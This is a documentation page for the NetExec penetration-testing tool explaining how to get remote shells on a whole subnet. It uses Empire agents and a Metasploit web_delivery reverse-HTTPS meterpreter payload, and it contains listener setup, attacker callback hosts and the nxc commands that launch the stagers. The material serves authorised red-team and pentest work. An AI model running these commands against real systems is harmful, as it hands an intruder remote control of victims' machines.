LogoLogo
NetExec Github
  • Welcome
  • News
    • 🕷️v1.0.0 Release!
    • 🔧v1.1.0 - nxc4u
    • 📡v1.2.0 - ItsAlwaysDNS
    • 🏎️v1.3.0 - NeedForSpeed
    • 🧈v1.4.0 - SmoothOperator
  • Logo & Banner
  • Getting Started
    • Installation
      • 🐧Installation for Unix
      • 🪟Installation for Windows
      • 🍎Installation for Mac
      • 🛠️Manually building the binary
      • ➡️Post Installation Setup
    • Selecting & Using a Protocol
    • Target Formats
    • Using Credentials
    • Using Kerberos
    • Using Certificates
    • Using Modules
    • 🆕DNS options
    • Database General Usage
    • BloodHound Integration
    • Audit Mode
    • Ignore OpSec Warnings
    • Logging
  • SMB protocol
    • Generate hosts file
    • Generate krb5.conf file
    • Generate TGT
    • Scan for Vulnerabilities
    • Enumeration
      • Enumerate Hosts
      • Enumerate Null Sessions
      • Enumerate Guest Logon
      • Enumerate Hosts with SMB Signing Not Required
      • Enumerate Active SMB Sessions
      • Enumerate Shares and Access
      • 🆕Enumerate Network Interfaces
      • Enumerate Disks
      • Enumerate Bitlocker
      • Enumerate Logged on Users
      • Enumerate Domain Users
      • Enumerate Users by Bruteforcing RID
      • Enumerate Domain Groups
      • Enumerate Local Groups
      • Enumerate Domain Password Policy
      • 🆕Enumerate Anti-Virus & EDR
    • Password Spraying
    • Authentication
      • Checking Credentials (Domain)
      • Checking Credentials (Local)
      • 🆕Delegation
    • Command Execution
      • Executing Remote Commands
        • Process Injection (pi module)
      • Getting Shells 101
    • Spidering Shares
    • Get and Put Files
    • Obtaining Credentials
      • Dump SAM
      • Dump LSA
      • Dump NTDS.dit
      • Dump LSASS
      • Dump DPAPI
      • 🆕Dump with BackupOperator Priv
      • 🆕Dump SCCM
      • 🆕Dump Token Broker Cache
      • Dump WIFI password
      • Dump KeePass
      • Dump Veeam
      • Dump WinSCP
      • 🆕Dump PuTTY
      • 🆕Dump VNC
      • 🆕Dump mRemoteNG
      • 🆕Dump Notepad
      • 🆕Dump Notepad++
      • 🆕Dump Remote Desktop Credential Manager
    • Defeating LAPS
    • Checking for Spooler & WebDav
    • Steal Microsoft Teams Cookies
    • 🆕Impersonate logged-on Users
    • 🆕Change User Password
    • 🆕Dump User Local Security Questions
  • LDAP protocol
    • Authentication
    • Enumerate Domain Users
    • Enumerate Domain Groups
    • 🆕Query LDAP
    • ASREPRoast
    • Find Domain SID
    • Kerberoasting
    • 🆕Find Misconfigured Delegation
    • Unconstrained Delegation
    • Admin Count
    • Machine Account Quota
    • Get User Descriptions
    • Dump gMSA
    • Exploit ESC8 (ADCS)
    • Extract Subnet
    • 🛠️Check LDAP Signing
    • Read DACL Rights
    • Extract gMSA Secrets
    • Bloodhound Ingestor
    • List DC IP
    • Enumerate Domain Trusts
    • 🆕Enumerate SCCM
  • WINRM protocol
    • Password Spraying
    • Authentication
    • Command Execution
    • 🆕Defeating LAPS
  • MSSQL protocol
    • Password Spraying
    • Authentication
    • MSSQL PrivEsc
    • MSSQL Command Execution
    • MSSQL Upload & Download
    • Execute via xp_cmdshell
    • 🆕Enumerate Users by Bruteforcing RID
  • SSH protocol
    • Password Spraying
    • Authentication
    • Command Execution
    • Get and Put Files
  • FTP protocol
    • Password Spraying
    • 🆕File Listing, etc
    • 🆕File Upload & Download
  • RDP Protocol
    • Password Spraying
    • Screenshot (connected)
    • Screenshot Without NLA (not connected)
  • WMI Protocol
    • Password Spraying
    • Authentication
    • Command Execution
  • NFS Protocol
    • 🆕Enumeration
    • Download and Upload Files
    • 🆕Escape to root file system
Powered by GitBook
On this page
  • Getting Shells 101
  • Empire Agent
  • Meterpreter

Was this helpful?

Edit on GitHub
  1. SMB protocol
  2. Command Execution

Getting Shells 101

PreviousProcess Injection (pi module)NextSpidering Shares

Last updated 2 months ago

Was this helpful?

Getting Shells 101

We all love shells and that's why nxc makes it as easy as possible to get them! There really is something magical about shelling a /24

Empire Agent

Use the new Empire in Python3

We can use the empire_exec module to execute an Empire Agent's initial stager. In the background, the module connects to Empire's RESTful API, generates a launcher for the specified listener and executes it.

  • First setup the rest API:

python powershell-empire --rest --user empireadmin --pass Password123!
[*] Loading modules from: /home/mpgn/Tools/Empire/lib/modules/
 * Starting Empire RESTful API on port: 1337
 * RESTful API token: l5l051eqiqe70c75dis68qjheg7b19di7n8auzml
 * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)
  • Second setup a listener:

(Empire: listeners) > set Name test
(Empire: listeners) > set Host 192.168.10.3
(Empire: listeners) > set Port 9090
(Empire: listeners) > set CertPath data/empire.pem
(Empire: listeners) > run
(Empire: listeners) > list

[*] Active listeners:

  ID    Name              Host                                 Type      Delay/Jitter   KillDate    Redirect Target
  --    ----              ----                                 -------   ------------   --------    ---------------
  1     test              http://192.168.10.3:9090                 native    5/0.0                      

(Empire: listeners) > 

The username and password that nxc uses to authenticate to Empire's RESTful API are stored in the nxc.conf file located at ~/.nxc/nxc.conf:

[Empire]
api_host=127.0.0.1
api_port=1337
username=empireadmin
password=Password123!

[Metasploit]
rpc_host=127.0.0.1
rpc_port=55552
password=abc123
  • Then just run the empire_exec module and specify the listener name:

nxc 192.168.10.0/24 -u username -p password -M empire_exec -o LISTENER=test

Meterpreter

On your Metasploit instance, run the following commands

use exploit/multi/script/web_delivery

The SRVHOST and SRVPORT variables are used for running the webserver to host the script

set SRVHOST 10.211.55
set SRVPORT 8443

The target variable determines what type of script we're using. 2 is for PowerShell

set target 2

Pick your payload. In this case, we'll use a reverse https meterpreter payload

set payload windows/meterpreter/reverse_https
set LHOST 10.211.55
set LPORT 443

Run the exploit

run -j

Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.

msf exploit(web_delivery) > run -j
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://10.211.55.4:8443/
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D
[*] Server started.
  • Then just run the met_inject module and specify the LHOST and LPORT values:

nxc 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http

We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload.ps1 script.

https://github.com/BC-SECURITY/Empire
Invoke-MetasploitPayload